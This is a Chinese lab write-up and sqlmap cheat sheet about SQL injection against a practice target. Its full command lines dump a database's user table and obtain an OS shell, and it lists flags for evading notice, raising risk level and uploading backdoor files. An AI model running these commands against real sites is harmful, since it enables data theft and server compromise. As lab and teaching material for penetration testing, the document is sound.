靶场环境

• http://59.63.200.79:8804/single.php?id=1

• 明显存在sql注入

基础实践sqlmap形式

• 工具安装地址：https://github.com/sqlmapproject/sqlmap

• sqlmap实战

  • 

  • 探测出含有的注入类型

    1	sqlmap -u http://59.63.200.79:8804/single.php?id=1 --batch --threads=10

    • 

  • 查库

    1	sqlmap -u http://59.63.200.79:8804/single.php?id=1 --dbs --batch --threads=10

1 2	-  - 

• 查表

  1	sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake --tables --batch --threads=10

  

• 查值

  1	sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake -T user --dump --batch --threads=10

  

• 扫不出后台地址，试试能不能直接getshell

• 测试 --is-dba

  1	sqlmap -u http://59.63.200.79:8804/single.php?id=1 --is-dba --batch --threads=10

  

• 绝对路径 把is-dba改成--sql-shell

  

• 直接 把--sql-shell改成os-shell拿到shell了

  

  

  

  

  

基础命令

一、查看数据库相关信息

• --current-user 枚举当前用户
• --current-db 枚举当前数据库
• --dbs 枚举当前可用数据库
• --is-dba 枚举当前数据库权限
• --password 枚举当前数据库用户密码

二、指纹识别

• -f 启用广泛的指纹识别
• -b 检测数据库指纹
• --hostname 枚举主机名称

三、Waf识别

• --identify-waf 检测waf信息

四、sqlmap更新

• --update 更新

常见的注入方式

• 基本操作上面已经写了。其他百度

• Cookie注入

  • 1	--cookie "id=2"

• Post注入

  • 使用

    1	--forms 自动搜索表单信息

  • 请求延时注入

    1

    --delay 1

  • 等级 1-5

    1 2 3

    --level 5 2级以上会尝试cookie 3级以上就对head注入

  • 自动更换请求头

    1 2	--user-agent 防止被人工办了

  • 获取表中的数量

    1

    --count

  • 风险等级

    1 2	--risk 3 大于2 就开始or updatexml进行测试，可能造成更新整个表。

  • --sql-shell 数据库操作

  • --os-shell 系统操作

    1 2 3 4 5 6 7

    条件 一、测试--is-dba必须是true 二、需要知道绝对路径，利用--sql-shell 三、GPC为off，php主动转义的功能关闭 四、secure_file-priv为空   可以自动生成，上传脚本文件、后门文件

[招生]科锐逆向工程师培训(2024年11月15日实地，远程教学同时开班, 第51期)